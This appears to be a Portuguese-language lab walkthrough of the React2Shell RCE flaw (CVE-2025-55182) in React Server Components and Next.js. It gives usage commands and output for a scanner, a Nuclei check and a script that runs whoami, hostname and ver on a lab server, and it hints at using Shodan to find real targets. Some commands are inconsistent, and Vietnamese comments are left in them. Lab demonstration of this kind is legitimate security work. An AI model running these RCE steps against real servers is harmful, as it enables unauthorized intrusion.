
Exploração da vulnerabilidade de segurança CVE-2025-55182
CVE-2025-55182, também conhecido como React2Shell, é uma vulnerabilidade grave de execução remota de código (RCE) que afeta o React Server Components (RSC). Ele usa o protocolo Flight para comunicação entre cliente e servidor. Quando o cliente solicita dados, o servidor recebe um payload e o analisa, o que pode permitir que um atacante injete estruturas maliciosas ou trechos de código arbitrários que o React aceita como válidos.
| Item | Conteúdo |
|---|---|
| Severidade | Critical (CVSS 10.0) |
| Tipo | Unsafe Deserialization (CWE-502) |
| Método de ataque | Remoto, sem autenticação necessária |
| Versões afetadas: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 e Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
O servidor processa o payload do cliente sem validação completa, permitindo que o atacante:
A atividade de exploração relacionada a esta vulnerabilidade foi detectada desde 5 de dezembro de 2025. A maioria das explorações bem-sucedidas originou-se de avaliações de grupos de ataque. Ambos os ambientes Windows e Linux são afetados.
Instalação
pip install -r requirements.txt
Escanear um servidor vulnerável:
python3 scanner.py -u https://example.com
Insira o caminho a ser escaneado (aqui, inseri meu servidor vulnerável: http://192.168.10.1:3000)
Resultado obtido:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Escanear uma lista de servidores:
python3 scanner.py -l hosts.txt
Escanear com múltiplas threads e salvar o resultado:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Escanear com cabeçalhos personalizados:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Escanear alvos Windows:
python3 scanner.py -u https://example.com --windows
Usar o método seguro de detecção por canal lateral:
python3 scanner.py -u https://example.com --safe-check
Como você pode ver, estamos lidando com uma vulnerabilidade de segurança, o que significa que o nosso servidor é facilmente atacável por um atacante.
Agora vamos usar o Nuclei para verificar se o servidor acima possui alguma vulnerabilidade com PoC. Esse recurso funciona enviando requisições personalizadas, minimizando falsos positivos e suportando varredura paralela.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Resultado obtido:
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
O sistema detectou que este servidor está vulnerável e pode ser explorado pela falha CVE-2025-55182. E a partir disso, você pode ver que é uma vulnerabilidade bastante perigosa e importante, com muitos PoCs já disponíveis em plataformas sociais. ☺☺☺
Você pode ver que apenas essas informações já são suficientes para confirmar que a vulnerabilidade de segurança existe no aplicativo acima. Para provar que este aplicativo pode ser utilizado para executar um comando ou executar código remotamente, iniciarei o PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Significado:
Retorna o usuário atual que está executando o processo do servidor
Ajuda a identificar:
=> Este é o comando mais básico para confirmar RCE bem-sucedido.
-d, --domain - domain/URL-c, --command - Comando a ser executado (ex.: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Este é o passo de reconhecimento inicial após a exploração bem-sucedida.
Ajuda a confirmar: a RCE funciona, identificar o sistema operacional,...
Como este experimento está sendo demonstrado em um laboratório pessoal para evitar problemas legais, o uso de cabeçalhos HTTP para exfiltração de dados, saídas grandes ou caracteres especiais pode causar:
ERR_INVALID_CHAR
Comandos curtos (por exemplo, whoami, ver) são mais confiáveis para ilustrar no ambiente de teste acima.
Se preferir, você pode usar o Shodan para verificar endereços IP diretamente no ambiente real e fazer como no meu experimento acima para explorar (não recomendado).
Como observado acima. Esta ferramenta é destinada apenas a fins educacionais e a testes de segurança autorizados. Não use esta ferramenta para testar sistemas que você não possui ou para os quais não tem autorização de teste.
| Significado dos comandos de execução | Conteúdo |
|---|
| Retorna o nome do host | Usado para: - identificar o sistema afetado - auxiliar na movimentação lateral (em ambiente interno) |
| Determina a versão do sistema operacional | Importante para: - avaliar a possibilidade de exploração adicional (escalonamento de privilégios) - escolher o exploit adequado |
| Verifica a execução de comandos | Usado para depurar payload / scanner |
| Retorna o nome de usuário atual | Neste caso: -o usuário é ADMIN → pode ter privilégios elevados - Mais importante que o whoami em alguns casos no Windows |
| Retorna o nome do host | Retorna o nome do host por meio da variável de ambiente |